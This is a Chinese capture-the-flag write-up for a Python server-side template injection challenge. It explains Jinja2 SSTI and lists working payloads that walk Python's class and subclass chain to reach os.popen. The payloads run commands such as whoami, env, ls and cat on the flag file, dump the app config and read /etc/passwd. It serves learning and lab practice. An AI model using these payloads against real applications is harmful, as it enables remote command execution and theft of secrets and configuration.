攻防世界25-Web_python_template_injection-CTFWeb
攻防世界25-Web_python_template_injection-CTFWeb
python模板注入,其实就是ssti,SSTI 注入 - Hello CTF (hello-ctf.com)
「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把
{{}}
包裹的内容当做变量解析替换,所以当我们传入{{表达式}}
时,表达式就会被渲染器执行。
测试一下
http://61.147.171.105:65476/{{7*7}}
存在ssti
直接试试几个先看看
{{url_for.globals['current_app'].config}}
{{get_flashed_messages.globals['current_app'].config['FLAG']}}
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval(“import('os').popen('whoami').read()“) }}{% endif %}{% endfor %}
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval(“import('os').popen('env').read()“) }}{% endif %}{% endfor %}
首先,题目告诉我们这是一个 python 注入问题,思考怎样用 python 语句获取控制台权限:想到了
os.system
和os.popen
(参考资 料), 这两句前者返回 退出状态码 , 后者 以 file 形式 返回 输出内容, 我们想要的是内容,所所以选择os.popen
python 模板注入 - tr1ple - 博客园 (cnblogs.com)
__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的 顺序解析。
__base__ : 返回该类所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用
```
{{''.__class__}}
{{''.__class__.__mro__}} #(<type 'str'>, <type 'basestring'>, <type 'object'>) not found
```
{{''.__class__.__mro__[2].__subclasses__()}}
从其中可以找到我们想要 的
os
所在的site._Printer
类,它在列表的第七十二位, 即__subclasses__()[71]
通过
__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
来 调用服务器的控制台 并显示 ,这下我们就可以随便用控制台输出了
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
还有其他语句可获得
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
- 感谢你赐予我前进的力量